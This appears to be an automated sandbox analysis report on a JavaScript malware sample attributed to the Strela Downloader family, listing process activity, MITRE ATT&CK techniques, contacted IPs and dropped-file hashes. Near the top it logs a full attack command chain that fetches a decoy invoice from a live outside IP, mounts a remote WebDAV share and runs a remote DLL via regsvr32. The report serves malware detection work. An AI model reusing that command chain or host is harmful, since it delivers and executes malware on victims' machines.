Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\156131007213845.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	132 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3090182781939528365.js	5%	Virustotal		Browse
3090182781939528365.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/7	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/#	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.21	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1359004716.00000168FA6E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2574154315.00000168FA817000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/7	net.exe, 00000008.00000002.1361312404.000002BC2875C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1361312404.000002BC28752000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1361312404.000002BC2875C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1361312404.000002BC28728000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1361312404.000002BC2877B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000008.00000002.1361312404.000002BC28728000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/#	net.exe, 00000008.00000002.1361312404.000002BC2875C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587954
Start date and time:	2025-01-10 19:42:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3090182781939528365.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 3.233.129.217, 52.6.155.20, 52.22.41.97, 3.219.243.226, 2.23.242.162, 23.209.209.135, 184.28.90.27, 84.201.210.21, 2.16.168.107, 2.16.168.105, 2.19.11.122, 2.19.11.117, 13.107.246.45, 20.109.210.53, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:43:49	API Interceptor	27x Sleep call for process: powershell.exe modified
13:43:53	API Interceptor	1x Sleep call for process: net.exe modified
13:43:53	API Interceptor	2x Sleep call for process: svchost.exe modified
13:44:00	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	WSJ25F.bat	Get hash	malicious	Unknown	Browse	84.201.210.39
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.41
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	Ej86aa7Ki7.exe	Get hash	malicious	Unknown	Browse	84.201.210.38
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067033379822463
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq8:2JIB/wUKUKQncEmYRTwh0Y
MD5:	34ABED7F189EA30F5E0CF0E18724669B
SHA1:	E92EFB844C3190CF0B42E21CCDD7096C4080640F
SHA-256:	5DD10ED84887799FE1A07D24B30DFC601993AB33A52CEC33F23E29B57719A52C
SHA-512:	AF0254F0D67CCB24F4A82DBD52B6466711705F64083E5022E9E59CADBF8281CEDA407AB1C896457582C3EE4DB4DC701A6168CD66421DC719AEB08D312B8204BD
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbbdcf734, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899852613678833
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:jazaPvgurTd42UgSii
MD5:	C7DFE3B55077AA221F3CC0417D0F50BD
SHA1:	877258D8EFD745798D275D280D36866070AB1D36
SHA-256:	1BD35C6A8C22D9E9D4339363AFE0D2AA41DEF107B5CDFD496EE5DE7F762C5A72
SHA-512:	C497510B53D5A3D493A73B345FFBB531CB9C13FAD5C77D797E7BAB201269A856B0FE2C6B00D9CFE7988E7B1357EFDE6E852F0ACB245EF6296547736A89E42418
Malicious:	false
Preview:	...4... ...............X\...;...{......................0.`.....42...{5.5+...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................a!5+...}..................W.o.5+...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08201075387489457
Encrypted:	false
SSDEEP:	3:bIWl/KYenY8h1t/57Dek3JvYvk1l/ollEqW3l/TjzzQ/t:F/KznhHR3t9lAmd8/
MD5:	0978B1344BE5130B048BE82D734669A1
SHA1:	EE7ED097C6A707D2591BC48D117A5B06B8983765
SHA-256:	6143C69A91233921691E569FB7E32314B049D2DF89714AF501EF4BB57FEB9C83
SHA-512:	B536665238B2B57CDD1BE34A10B99C2C9F3093DEFF63B620250E91BBECA4BC0AAE4604E90695561E19652017873BA76C7310076CBB364B68A6F0F4D195D00E58
Malicious:	false
Preview:	=.Pg.....................................;...{..5+...}..42...{5.........42...{5.42...{5...Y.42...{59................W.o.5+...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.175582566093349
Encrypted:	false
SSDEEP:	6:iO41Hyq2PcNwi2nKuAl9OmbnIFUtS1OGz1Zmws1OGlRkwOcNwi2nKuAl9OmbjLJ:73vLZHAahFUtc1/A54ZHAaSJ
MD5:	53BFEC1212FEEBE8525D6F56BC21E5A4
SHA1:	374FD9B0D188A2AC0BFDF6CE532417F2255A0B31
SHA-256:	E247C5F79C5CB16E70BD87F1339390FC32BCEDD7243D23C10CB583A6419D4AAC
SHA-512:	7666BC1C10069FADD0695A25EEFC2056F56B8F0C5B1E1EF9085BF0C656C1D419F67E5557C7AB668631A9E42B244EFE84DF72C518A639DDCC5AB90B2CCDAEF0C9
Malicious:	false
Preview:	2025/01/10-13:43:53.298 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:43:53.300 1c14 Recovering log #3.2025/01/10-13:43:53.300 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.175582566093349
Encrypted:	false
SSDEEP:	6:iO41Hyq2PcNwi2nKuAl9OmbnIFUtS1OGz1Zmws1OGlRkwOcNwi2nKuAl9OmbjLJ:73vLZHAahFUtc1/A54ZHAaSJ
MD5:	53BFEC1212FEEBE8525D6F56BC21E5A4
SHA1:	374FD9B0D188A2AC0BFDF6CE532417F2255A0B31
SHA-256:	E247C5F79C5CB16E70BD87F1339390FC32BCEDD7243D23C10CB583A6419D4AAC
SHA-512:	7666BC1C10069FADD0695A25EEFC2056F56B8F0C5B1E1EF9085BF0C656C1D419F67E5557C7AB668631A9E42B244EFE84DF72C518A639DDCC5AB90B2CCDAEF0C9
Malicious:	false
Preview:	2025/01/10-13:43:53.298 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:43:53.300 1c14 Recovering log #3.2025/01/10-13:43:53.300 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1609043499120775
Encrypted:	false
SSDEEP:	6:iO41OOUu39+q2PcNwi2nKuAl9Ombzo2jMGIFUtS1O0Y+2WZmws1Ov9VkwOcNwi2g:7ox39+vLZHAa8uFUtKJ/d9V54ZHAa8RJ
MD5:	460F567031E05B3B40B2CC3A8944DED7
SHA1:	ED7F9DD7BC0D3E4EE9408F1154CF7ED8CB8D1020
SHA-256:	B077EE3E1A5A14ADF5A6D065A7EE335D14137DE5F1347480FA3B111CB9AF6D15
SHA-512:	775589FEA4299AB8853556B19890F8D4BFEDC6EAAA3A38CA640D498839078DBF0674CCA5A15D7094FF108A01B056163B6BA8AC7C1C668607AF494D20EF74DB46
Malicious:	false
Preview:	2025/01/10-13:43:53.363 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:43:53.365 1d0c Recovering log #3.2025/01/10-13:43:53.366 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1609043499120775
Encrypted:	false
SSDEEP:	6:iO41OOUu39+q2PcNwi2nKuAl9Ombzo2jMGIFUtS1O0Y+2WZmws1Ov9VkwOcNwi2g:7ox39+vLZHAa8uFUtKJ/d9V54ZHAa8RJ
MD5:	460F567031E05B3B40B2CC3A8944DED7
SHA1:	ED7F9DD7BC0D3E4EE9408F1154CF7ED8CB8D1020
SHA-256:	B077EE3E1A5A14ADF5A6D065A7EE335D14137DE5F1347480FA3B111CB9AF6D15
SHA-512:	775589FEA4299AB8853556B19890F8D4BFEDC6EAAA3A38CA640D498839078DBF0674CCA5A15D7094FF108A01B056163B6BA8AC7C1C668607AF494D20EF74DB46
Malicious:	false
Preview:	2025/01/10-13:43:53.363 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:43:53.365 1d0c Recovering log #3.2025/01/10-13:43:53.366 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5b8707.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b094bf07-f06f-421b-8e20-46ddfe8d8cba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c867c652-6624-4700-aa1c-a2ee67ac9863.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972436193729398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqX/xsBdOg2HKZcaq3QYiubSpDyP7E4T3y:Y2sRds4KdMHKg3QYhbSpDa7nby
MD5:	D79094FCA455EB66C8AF4F052E2009BE
SHA1:	ADAAE1356F0D9BBC10DE8E75BE44A123E29D3262
SHA-256:	3AA072CE1C673FB9B5E9041402A0791ED0A292000D3F0FD003DA516BB7A213E0
SHA-512:	71D84BD58A52A4FA6A7BC28E577ABFD1492BF519265F9BBFFBE2665F4275B509E2B0875BEB01A5AE8BD92CEAB7EEB98DA3D976E65ADD00F19323D49EE1D23F0A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094644968528","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133795},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.229883643278168
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPBoFIdbRa:CwNw1GHqPySfkcigoO3h28ytPBoFITa
MD5:	E9FDDCA7F9FEFDF7C194D21A6B2FD116
SHA1:	389B9A00873EABF5FF5116841BBFB780D12E3154
SHA-256:	438696BD09A90098A5E86497116CD63175EA301382A8D5613100766360EB897E
SHA-512:	4F7022A0E12FDDC14DB690E553132209790FAC61F627B167BC689FBDC374AE983347AC6649075D45359F0C854416EA06DC7A2C1FB885949ED11E265BFF840B80
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.204764316192826
Encrypted:	false
SSDEEP:	6:iO41KDN9+q2PcNwi2nKuAl9OmbzNMxIFUtS1K1E2WZmws1KVH9VkwOcNwi2nKuAo:7n9+vLZHAa8jFUtKJ/39V54ZHAa84J
MD5:	19FA8CAC832AA9A8E6AF5E32A723802A
SHA1:	7F4970A7F6042C7CD65B1C7E6D7C165279ED5211
SHA-256:	3B406A7676CF6EBAC7D3336C7C2AF166B21F1CA2468805660351F648B43AF474
